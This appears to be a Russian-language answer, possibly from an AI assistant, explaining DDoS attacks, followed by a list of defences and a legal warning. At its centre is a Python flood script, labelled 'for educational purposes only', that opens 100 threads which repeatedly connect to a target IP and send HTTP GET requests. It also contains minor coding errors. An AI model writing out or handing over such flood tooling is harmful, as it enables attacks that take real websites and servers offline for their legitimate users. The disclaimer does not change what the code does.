Ответ
DDoS (Distributed Denial of Service) — это распределенная атака типа «отказ в обслуживании». Её цель — сделать сетевой ресурс (сайт, сервер, приложение) недоступным для легитимных пользователей, перегрузив его огромным количеством запросов.
Принцип действия:
Атака осуществляется одновременно с большого числа устройств (компьютеров, IoT-устройств), объединенных в сеть, называемую ботнетом. Эти устройства, часто без ведома их владельцев, отправляют запросы на целевой сервер, исчерпывая его ресурсы: пропускную способность канала, процессорное время или память.
Концептуальный пример скрипта для одного узла атаки (использовать только в образовательных целях):
import socket
import threading
# Целевой IP и порт
target_ip = 'XXX.XXX.XXX.XXX' # IP-адрес цели
target_port = 80 # Порт (80 для HTTP)
def flood():
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
# Отправка частичных HTTP-запросов для удержания соединения
s.sendto(("GET /" + target_ip + " HTTP/1.1rn").encode('ascii'), (target_ip, target_port))
s.close()
except socket.error:
# Игнорируем ошибки, чтобы не останавливать скрипт
pass
# Запуск атаки в нескольких потоках
for i in range(100):
thread = threading.Thread(target=flood)
thread.start()
Основные методы защиты:
- Фильтрация трафика: Использование специализированных сервисов (например, Cloudflare, Akamai) для анализа и блокировки вредоносного трафика до того, как он достигнет сервера.
- Ограничение скорости (Rate Limiting): Установка лимитов на количество запросов с одного IP-адреса за определенный промежуток времени.
- Web Application Firewall (WAF): Брандмауэр для веб-приложений, который фильтрует и блокирует подозрительные HTTP-запросы.
- Масштабирование инфраструктуры: Использование балансировщиков нагрузки и облачных сервисов для распределения трафика и увеличения отказоустойчивости.
⚠️ Важно: Организация или участие в DDoS-атаках является уголовным преступлением.